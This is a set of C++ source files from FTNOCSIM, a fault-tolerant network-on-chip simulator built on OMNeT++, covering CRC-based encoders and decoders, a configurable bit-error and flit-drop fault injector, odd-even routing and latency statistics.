<file_sep>/FTNOCSIM/src/Node/NetworkAdapter/FaultTolerantNA/E2EDecoder/E2EDecoder.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "E2EDecoder.h"
#include <NoCMsg_m.h>
#include <Encoder.h>
Define_Module(E2EDecoder);
void E2EDecoder::initialize()
{
// TODO - Generated method body
this->nbColumns=this->getParentModule()->getParentModule()->getParentModule()->par("columns");
this->flitLength=this->getParentModule()->getParentModule()->getParentModule()->par("flitLength");
if(!strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_16") || !strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_ccitt") || !strcmp(par("e2eECCAlgorithmType").stringValue(),"crc_xmodem"))
{
this->e2eECCAlgorithm=new CRCAlgorithm(par("e2eECCAlgorithmType"));
}
this->serializedData=par("e2eEncodedData");
E2ENackCount = 0;
E2ENackVector.setName("E2E-NACK-RECV");
}
void E2EDecoder::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit *f = dynamic_cast<Flit*>(msg);
Flit* nack;
bool result;
if(f!=NULL){
if(f->getFunctionType()==DATA_FLIT)
{
result=this->e2eECCAlgorithm->decodeE2E(f);
if(result)
{
this->flitDeSerialization(f);
send(f,"out");
}
else
{
nack=new Flit;
nack->setKind(FLIT_MSG);
nack->setType(SINGLE_FLIT);
nack->setFunctionType(NACK_FLIT);
nack->setSrc(getParentModule()->getParentModule()->getIndex());
nack->setPacketIndex(f->getPacketIndex());
nack->setDestX(f->getSrc()%this->nbColumns);
nack->setDestY(f->getSrc()/this->nbColumns);
nack->setNumVC(0);
nack->setFlitIndex(0);
send(nack,"outEncoder");
}
}
else{
cout << "E2E NACK " << simTime() << endl;
send(f,"outEncoder");
E2ENackCount++;
}
}
}
void E2EDecoder::finish()
{
E2ENackVector.record(E2ENackCount);
}
void E2EDecoder::flitDeSerialization(Flit* f)
{
switch(serializedData)
{
case HEADER:
if(f->getType()==HEADER_FLIT)
{
f->setType(f->getE2eSerializedFlit(0));
f->setDestX(f->getE2eSerializedFlit(1));
f->setDestY(f->getE2eSerializedFlit(2));
f->setSrc(f->getE2eSerializedFlit(3)+f->getE2eSerializedFlit(4)*this->nbColumns);
f->setNumVC(f->getE2eSerializedFlit(5));
}
else
{
f->setType(f->getE2eSerializedFlit(0));
f->setNumVC(f->getE2eSerializedFlit(1));
}
break;
case PAYLOAD:
if(f->getType()==HEADER_FLIT)
{
for(int i=0;i<flitLength-6;i++)
{
f->setPayload(i,f->getE2eSerializedFlit(i));
}
}
else
{
for(int i=0;i<2;i++)
{
f->setPayload(i,f->getE2eSerializedFlit(i));
}
}
break;
case ALL:
if(f->getType()==HEADER_FLIT)
{
f->setType(f->getE2eSerializedFlit(0));
f->setDestX(f->getE2eSerializedFlit(1));
f->setDestY(f->getE2eSerializedFlit(2));
f->setSrc(f->getE2eSerializedFlit(3)+f->getE2eSerializedFlit(4)*this->nbColumns);
f->setNumVC(f->getE2eSerializedFlit(5));
for(int i=6;i<flitLength;i++)
{
f->setPayload(i-6,f->getE2eSerializedFlit(i));
}
}
else
{
f->setType(f->getE2eSerializedFlit(0));
f->setNumVC(f->getE2eSerializedFlit(1));
for(int i=2;i<flitLength;i++)
{
f->setPayload(i-2,f->getE2eSerializedFlit(i));
}
}
break;
}
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/TaskGraphModel/Send.cc
/*
* Send.cc
*
* Created on: 28 mars 2015
* Author: mehdi
*/
#include <Send.h>
Send::Send(double interval,int dataAmount,int output) {
// TODO Auto-generated constructor stub
this->interval=interval;
this->dataAmount=dataAmount;
this->output=output;
}
Send::~Send() {
// TODO Auto-generated destructor stub
}
double Send::getInterval()
{
return this->interval;
}
int Send::getDataAmount()
{
return this->dataAmount;
}
int Send::getOutput()
{
return this->output;
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TDUniform.cc
/*
* TDUniform.cc
*
* Created on: 13 mars 2015
* Author: mehdi
*/
#include <TDUniform.h>
#include <omnetpp.h>
using namespace std;
TDUniform::TDUniform(int lowerBound,int upperBound) {
// TODO Auto-generated constructor stub
this->lowerBound=lowerBound;
this->upperBound=upperBound;
}
TDUniform::~TDUniform() {
// TODO Auto-generated destructor stub
}
int TDUniform::getNextGenerationTime(){
int interArrival=intuniform(this->lowerBound,this->upperBound);
return interArrival;
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultModel/FaultProperty/FaultProperty.h
/*
* FaultProperty.h
*
* Created on: 09 avr. 2015
* Author: mehdi
*/
#ifndef FAULTPROPERTY_H_
#define FAULTPROPERTY_H_
#include<NoCMsg_m.h>
class FaultProperty {
public:
virtual bool alterFlit(Flit *f)=0;
};
#endif /* FAULTPROPERTY_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Encoder/Encoder.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "Encoder.h"
#include <boost/crc.hpp> // for boost::crc_32_type
using namespace std;
Define_Module(Encoder);
void Encoder::initialize()
{
// TODO - Generated method body
this->nbColumns=this->getParentModule()->getParentModule()->getParentModule()->par("columns");
this->nbRows=this->getParentModule()->getParentModule()->getParentModule()->par("rows");
this->flitLength=this->getParentModule()->getParentModule()->getParentModule()->par("flitLength");
this->circularBufferLenght = this->par("circularBufferLenght").longValue();
this->clkCycle = getParentModule()->getParentModule()->getParentModule()->par("ClkCycle");
this->serializedData=par("h2hEncodedData");
circularBuffer = new cQueue;
ageBuffer = new vector<int>;
if(!strcmp(par("eccAlgorithmType").stringValue(),"crc_16") || !strcmp(par("eccAlgorithmType").stringValue(),"crc_ccitt") || !strcmp(par("eccAlgorithmType").stringValue(),"crc_xmodem"))
{
this->eccAlgorithm=new CRCAlgorithm(par("eccAlgorithmType"));
}
clockMsg = new ClkMsg;
clockMsg->setKind(CLK_MSG);
}
void Encoder::insert(Flit *f)
{
if (circularBuffer->length() >= circularBufferLenght){
// int age = 0;
int index = 0;
Flit *oldFlit = NULL;
/* for(int i=0;i<circularBuffer->length();i++)
{
if(ageBuffer->at(i)>=age) {
oldFlit = dynamic_cast<Flit*>(circularBuffer->get(i));
age = ageBuffer->at(i);
index = i;
}
}
*/
delete circularBuffer->pop();
//circularBuffer->remove(oldFlit);
//ageBuffer->erase(ageBuffer->begin()+index);
}
circularBuffer->insert(f);
//ageBuffer->push_back(0);
}
Flit *Encoder::pop()
{
for(int i = 0;i<circularBuffer->length();i++)
{
int age = ageBuffer->at(0);
ageBuffer->erase(ageBuffer->begin());
if(age == 0)
{
ageBuffer->push_back(1);
Flit*f = dynamic_cast<Flit *>(circularBuffer->pop());
circularBuffer->insert(f);
return f;
}
else if(age==1){
// ageBuffer->push_back(age+1);
// Flit*f = circularBuffer->pop();
// circularBuffer->insert(f);
delete circularBuffer->pop();
}
}
return NULL;
}
Flit* Encoder::NACKReceive(NACKMsg *nack)
{
Flit *f=NULL;
for(int i= 0;i<circularBuffer->length();i++)
{
f = dynamic_cast<Flit *>(circularBuffer->get(i));
if(f->getSrc()==nack->getSrc() && f->getPacketIndex() == nack->getPacketIndex() && f->getFlitIndex()== nack->getFlitIndex())
{
//ageBuffer->at(i)= 0;
return cloneFlit(f);
}
}
return NULL;
}
void Encoder::handleMessage(cMessage *msg)
{
Flit* f=NULL;
Flit* fCopy=NULL;
switch(msg->getKind())
{
case FLIT_MSG:
f=dynamic_cast<Flit*>(msg);
if(f!=NULL){
if(f->getFunctionType()==DATA_FLIT)
{
fCopy=cloneFlit(f);
this->flitSerialization(f);
this->eccAlgorithm->encodeH2H(f);
insert(fCopy);
send(f,"out");
//if(!clockMsg->isScheduled()) scheduleAt(simTime()+clkCycle,clockMsg);
}
else
{
send(f,"out");
}
}
break;
case NACK_MSG:
f = NACKReceive(dynamic_cast<NACKMsg *>(msg));
if(f!=NULL){
this->flitSerialization(f);
this->eccAlgorithm->encodeH2H(f);
//f->setKind(-1);
send(f,"out");
}
break;
case CLK_MSG:
f = pop();
if(f!=NULL){
fCopy=cloneFlit(f);
this->flitSerialization(fCopy);
this->eccAlgorithm->encodeH2H(fCopy);
send(fCopy,"out");
}
std::cout << "clk : " << clkCycle << endl;
scheduleAt(simTime()+clkCycle,msg);
}
//send(msg,"out");
// TODO - Generated method body
}
Flit* Encoder::cloneFlit(Flit* f)
{
Flit *clone = new Flit;
clone->setKind(f->getKind());
clone->setType(f->getType());
clone->setSrc(f->getSrc());
clone->setPacketIndex(f->getPacketIndex());
clone->setDestX(f->getDestX());
clone->setDestY(f->getDestY());
clone->setNumVC(f->getNumVC());
clone->setFlitIndex(f->getFlitIndex());
clone->setFunctionType(f->getFunctionType());
clone->setE2eSerializedFlitArraySize(f->getE2eSerializedFlitArraySize());
for(int i=0;i<f->getE2eSerializedFlitArraySize(); i++)
{
clone->setE2eSerializedFlit(i,f->getE2eSerializedFlit(i));
}
clone->setPayloadArraySize(f->getPayloadArraySize());
for(int i=0;i<f->getPayloadArraySize();i++)
{
clone->setPayload(i,f->getPayload(i));
}
return clone;
}
void Encoder::flitSerialization(Flit* f)
{
int length;
switch(serializedData)
{
case HEADER:
if(f->getType()==HEADER_FLIT)
{
f->setSerializedFlitArraySize(6);
f->setSerializedFlit(0,HEADER_FLIT);
f->setSerializedFlit(1,f->getDestX());
f->setSerializedFlit(2,f->getDestY());
f->setSerializedFlit(3,f->getSrc()%this->nbColumns);
f->setSerializedFlit(4,f->getSrc()/this->nbColumns);
f->setSerializedFlit(5,f->getNumVC());
}
else if(f->getType()==MIDDLE_FLIT)
{
f->setSerializedFlitArraySize(2);
f->setSerializedFlit(0,MIDDLE_FLIT);
f->setSerializedFlit(1,f->getNumVC());
}
else if(f->getType()==TAIL_FLIT)
{
f->setSerializedFlitArraySize(2);
f->setSerializedFlit(0,TAIL_FLIT);
f->setSerializedFlit(1,f->getNumVC());
}
break;
case PAYLOAD:
if(f->getType()==HEADER_FLIT) length=flitLength-6;
else length=flitLength-2;
f->setSerializedFlitArraySize(length);
for(int i=0;i<length;i++)
{
f->setSerializedFlit(i,f->getPayload(i));
}
break;
case ALL:
f->setSerializedFlitArraySize(flitLength);
if(f->getType()==HEADER_FLIT)
{
f->setSerializedFlit(0,HEADER_FLIT);
f->setSerializedFlit(1,f->getDestX());
f->setSerializedFlit(2,f->getDestY());
f->setSerializedFlit(3,f->getSrc()%this->nbColumns);
f->setSerializedFlit(4,f->getSrc()/this->nbColumns);
f->setSerializedFlit(5,f->getNumVC());
for(int i=6;i<flitLength;i++)
{
f->setSerializedFlit(i,f->getPayload(i-6));
}
}
else if(f->getType()==MIDDLE_FLIT)
{
f->setSerializedFlit(0,MIDDLE_FLIT);
f->setSerializedFlit(1,f->getNumVC());
for(int i=2;i<flitLength;i++)
{
f->setSerializedFlit(i,f->getPayload(i-2));
}
}
else if(f->getType()==TAIL_FLIT)
{
f->setSerializedFlit(0,TAIL_FLIT);
f->setSerializedFlit(1,f->getNumVC());
for(int i=2;i<flitLength;i++)
{
f->setSerializedFlit(i,f->getPayload(i-2));
}
}
break;
}
/*
switch(f->getType())
{
case HEADER_FLIT:
f->setSerializedFlit(0,0);
f->setSerializedFlit(1,f->getDestX());
f->setSerializedFlit(2,f->getDestY());
f->setSerializedFlit(3,f->getSrc()%this->nbColumns);
f->setSerializedFlit(4,f->getSrc()/this->nbColumns);
f->setSerializedFlit(5,f->getNumVC());
break;
case MIDDLE_FLIT:
f->setSerializedFlit(0,1);
f->setSerializedFlit(1,f->getNumVC());
//f->setSerializedFlit(2,f->getFlitIndex());
break;
case TAIL_FLIT:
f->setSerializedFlit(0,2);
f->setSerializedFlit(1,f->getNumVC());
//f->setSerializedFlit(2,f->getFlitIndex());
break;
}*/
}
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/Encoder/Encoder.h
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#ifndef __FTNOCSIM_ENCODER_H_
#define __FTNOCSIM_ENCODER_H_
#include <omnetpp.h>
#include<NoCMsg_m.h>
#include <math.h>
#include <IECCAlgorithm.h>
#include <CRCAlgorithm.h>
/**
* TODO - Generated class
*/
enum SerializedData{
HEADER=1,
PAYLOAD=2,
ALL=3
};
class Encoder : public cSimpleModule
{
private:
int nbColumns;
int nbRows;
int flitLength;
IECCAlgorithm* eccAlgorithm;
cQueue *circularBuffer;
std::vector<int> *ageBuffer;
int serializedData;
int circularBufferLenght;
double clkCycle;
ClkMsg *clockMsg;
protected:
virtual void initialize();
virtual void handleMessage(cMessage *msg);
virtual void flitSerialization(Flit* f);
virtual Flit* cloneFlit(Flit* f);
public:
virtual void insert(Flit *f);
virtual Flit* pop();
virtual Flit* NACKReceive(NACKMsg *nack);
};
#endif
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/PacketSizeDistribution/PacketSizeDistribution.h
/*
* PacketSizeDistribution.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef PACKETSIZEDISTRIBUTION_H_
#define PACKETSIZEDISTRIBUTION_H_
using namespace std;
enum PSDType{
PSDCONSTANT = 0,
PSDUNIFORM = 1
};
class PacketSizeDistribution {
public:
// PacketSizeDistribution();
// virtual ~PacketSizeDistribution();
virtual int getPacketSize()=0;
};
#endif /* PACKETSIZEDISTRIBUTION_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/FaultInjector/FaultInjector.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "FaultInjector.h"
Define_Module(FaultInjector);
void FaultInjector::initialize()
{
// TODO - Generated method body
this->x = getParentModule()->getParentModule()->par("x").longValue();
this->y = getParentModule()->getParentModule()->par("y").longValue();
this->direction = this->getIndex();
this->init(par("faultInjectionParams").xmlValue());
}
void FaultInjector::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit* f=dynamic_cast<Flit*>(msg);
if(f->getFunctionType()==DATA_FLIT)
{
if(!this->injectFaultModels(f)) {
send(f,"out");
//std::cout << "non drop flit" << endl;
}
}
else
{
send(f,"out");
}
}
bool FaultInjector::injectFaultModels(Flit *f)
{
bool faultsInjected = false;
for(unsigned int i=0;i<faultModels.size();i++)
{
if(faultModels[i]->injectFault(f))
faultsInjected = true;
}
return faultsInjected;
}
void FaultInjector::init(cXMLElement* source)
{
bool defaultModel;
defaultModel=true;
if(source->getChildrenByTagName("links").size()>0)
{
cXMLElementList links=source->getChildrenByTagName("links").at(0)->getChildrenByTagName("link");
for(unsigned int i=0;i<links.size();i++)
{
if(atoi(links.at(i)->getAttribute("outgoing_node_x"))==this->x && atoi(links.at(i)->getAttribute("outgoing_node_y"))==this->y)
{
if((strcmp(links.at(i)->getAttribute("output_port"),"north")==0 && this->direction==NORTH_DIREC)
|| (strcmp(links.at(i)->getAttribute("output_port"),"south")==0 && this->direction==SOUTH_DIREC)
|| (strcmp(links.at(i)->getAttribute("output_port"),"east")==0 && this->direction==EAST_DIREC)
|| (strcmp(links.at(i)->getAttribute("output_port"),"west")==0 && this->direction==WEST_DIREC)
)
{
cXMLElementList models=links.at(i)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<models.size();j++)
{
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0)
{
FaultModel* faultModel=new FaultModel(new DropFlit(),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBits(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"e2e_alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsE2E(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"h2h_alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsH2H(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
defaultModel=false;
}
}
}
}
}
if(source->getChildrenByTagName("nodes").size()>0)
{
cXMLElementList nodes=source->getChildrenByTagName("nodes").at(0)->getChildrenByTagName("node");
for(unsigned int i=0;i<nodes.size();i++)
{
if((this->direction==NORTH_DIREC && atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y-1)
|| (this->direction==EAST_DIREC && atoi(nodes.at(i)->getAttribute("x"))==this->x+1 && atoi(nodes.at(i)->getAttribute("y"))==this->y)
|| (this->direction==SOUTH_DIREC && atoi(nodes.at(i)->getAttribute("x"))==this->x && atoi(nodes.at(i)->getAttribute("y"))==this->y+1)
|| (this->direction==WEST_DIREC && atoi(nodes.at(i)->getAttribute("x"))==this->x-1 && atoi(nodes.at(i)->getAttribute("y"))==this->y))
{
cXMLElementList models=nodes.at(i)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<models.size();j++)
{
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0)
{
FaultModel* faultModel=new FaultModel(new DropFlit(),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBits(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"e2e_alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsE2E(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"h2h_alter_bits")==0)
{
int min=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(models.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsH2H(min,max),atof(models.at(j)->getAttribute("faultRate")),atoi(models.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
defaultModel=false;
}
}
}
}
if(defaultModel)
{
if(source->getChildrenByTagName("default").size()>0)
{
cXMLElementList defaultModels=source->getChildrenByTagName("default").at(0)->getChildrenByTagName("fault_model");
for(unsigned int j=0;j<defaultModels.size();j++)
{
if(strcmp(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"drop_flit")==0)
{
FaultModel* faultModel=new FaultModel(new DropFlit(),atof(defaultModels.at(j)->getAttribute("faultRate")),atoi(defaultModels.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"alter_bits")==0)
{
int min=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBits(min,max),atof(defaultModels.at(j)->getAttribute("faultRate")),atoi(defaultModels.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"e2e_alter_bits")==0)
{
int min=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsE2E(min,max),atof(defaultModels.at(j)->getAttribute("faultRate")),atoi(defaultModels.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
if(strcmp(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("type"),"h2h_alter_bits")==0)
{
int min=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("min_bits"));
int max=atoi(defaultModels.at(j)->getChildrenByTagName("fault_property").at(0)->getAttribute("max_bits"));
FaultModel* faultModel=new FaultModel(new AlterBitsH2H(min,max),atof(defaultModels.at(j)->getAttribute("faultRate")),atoi(defaultModels.at(j)->getAttribute("injectionStartTime")));
this->faultModels.push_back(faultModel);
}
}
}
}
/*std::cout << "Node " << this->x << " " << this->y << " - direction " << this->direction << " :" << endl;
for(unsigned int i=0;i<this->faultModels.size();i++)
{
std::cout << " " << i << " - rate : " << faultModels[i]->getFaultRate() << " - startTime : " << faultModels[i]->getInjectionStartTime() << " - faultProperty : "<< dynamic_cast<DropFlit*>(faultModels[i]->getFaultProperty()) << endl;
}
cout << endl;*/
}
<file_sep>/FTNOCSIM/src/Node/Core/Sink/Sink.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "Sink.h"
Define_Module(Sink);
void Sink::initialize()
{
// TODO - Generated method body
networkLatencyHisto.setName("Network-Latency");
networkLatencyVector.setName("Network-Latency");
end2endLatencyVector.setName("end-to-end-Latency");
end2endPacketLatencyVector.setName("end-to-end-Packet-Latency");
networkPacketLatencyVector.setName("Packet-Network-Latency");
flitsArrivalCounter = 0;
packetsArrivalCounter = 0;
flitsArrivalVector.setName("arrival-flits-counter");
packetsArrivalVector.setName("arrival-packets-counter");
}
void Sink::handleMessage(cMessage *msg)
{
// TODO - Generated method body
Flit* f=dynamic_cast<Flit*>(msg);
double latency = (simTime().dbl() - msg->getCreationTime().dbl()) * 1e9/2;
if(simTime() > simulation.getWarmupPeriod())
{
end2endLatencyVector.record(latency);
networkLatencyVector.record(f->getNetworkLatency());
networkLatencyHisto.collect(latency);
}
flitsArrivalCounter++;
/// MEH 3 DEB
if(f->getType()==TAIL_FLIT)
{
packetsArrivalCounter++;
end2endPacketLatencyVector.record(latency);
networkPacketLatencyVector.record(f->getPacketNetworkLatency());
}
if(f->getType()==HEADER_FLIT && f->getFirstFlitOfMessage())
{
TaskGraphModel* tgModel=dynamic_cast<TaskGraphModel*>(this->getParentModule()->getSubmodule("source"));
if(tgModel!=NULL)
{
send(f,"out");
return;
}
}
/// MEH 3 END
delete msg;
}
void Sink::finish()
{
networkLatencyHisto.record();
flitsArrivalVector.record(flitsArrivalCounter);
packetsArrivalVector.record(packetsArrivalCounter);
}
<file_sep>/FTNOCSIM/src/Node/Core/Source/ProbabilisticModel/TemporalDistribution/TempralDistribution.h
/*
* TempralDistribution.h
*
* Created on: Mar 2, 2015
* Author: ala-eddine
*/
#ifndef TEMPRALDISTRIBUTION_H_
#define TEMPRALDISTRIBUTION_H_
using namespace std;
enum TDType{
TDCONSTANT = 0,
TDUNIFORM = 1,
TDEXPONENTIAL = 2
};
class TempralDistribution {
public:
//TempralDistribution();
//virtual ~TempralDistribution();
virtual int getNextGenerationTime() = 0;
};
#endif /* TEMPRALDISTRIBUTION_H_ */
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/InputUnit/OddEven/OddEvenRouting.cc
/*
* OddEvenRouting.cc
*
* Created on: 27 avr. 2015
* Author: ala-eddine
*/
#include <OddEven/OddEvenRouting.h>
OddEvenRouting::OddEvenRouting(int x,int y,int dimX,int dimY,int nbVCs,bool* neighborsFaultInfo) {
// TODO Auto-generated constructor stub
this->dimX= dimX;
this->dimY = dimY;
this->x = x;
this->y = y;
this->nbVCs = nbVCs;
this->neighborsFaultInfo=neighborsFaultInfo;
}
OddEvenRouting::~OddEvenRouting() {
// TODO Auto-generated destructor stub
}
vector<Path *> *OddEvenRouting::routeCalc(Flit *f){
vector<Path*> *routes = new vector<Path*>;
int destX = f->getDestX();
int destY = f->getDestY();
int direction = f->getNumPort();
int srcX = f->getSrc()%dimY;
if(destX == x)
{
if(destY == y)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(LOCAL_DIREC,i));
else if(destY > y)
{
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
}
else//desty<y
{
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
}
else if(destX > x)//EastBound
{
if(x%2 == 1 || x == srcX) // an odd column or the source column
{
if(destY > y)
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
if(destY < y)
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
if(destX%2 == 1 || destX-x!=1)
{
if(neighborsFaultInfo[EAST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(EAST_DIREC,i));
}
}
else //westBound destX<x
{
if(neighborsFaultInfo[WEST_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(WEST_DIREC,i));
if(x%2==0)
{
if(destY > y)
if(neighborsFaultInfo[SOUTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(SOUTH_DIREC,i));
if(destY < y)
if(neighborsFaultInfo[NORTH_DIREC] == false)
for(int i = 0;i<nbVCs;i++) routes->push_back(new Path(NORTH_DIREC,i));
}
}
return routes;
}
void OddEvenRouting::updateNeighborsFaultInfo(int direction,bool neighborState)
{
this->neighborsFaultInfo[direction]=neighborState;
}
<file_sep>/FTNOCSIM/README.md
# FTNOCSIM
Fault Tolerant NOC SIMulator
<file_sep>/FTNOCSIM/src/Node/Router/VirtualChannelRouter/CongestionUnit/StressValueControl/StressValueControl.cc
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Lesser General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Lesser General Public License for more details.
//
// You should have received a copy of the GNU Lesser General Public License
// along with this program. If not, see http://www.gnu.org/licenses/.
//
#include "StressValueControl.h"
